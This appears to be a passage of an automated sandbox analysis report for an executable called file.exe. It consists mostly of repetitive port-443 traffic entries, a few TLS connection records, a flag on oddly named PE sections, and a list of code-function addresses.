Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
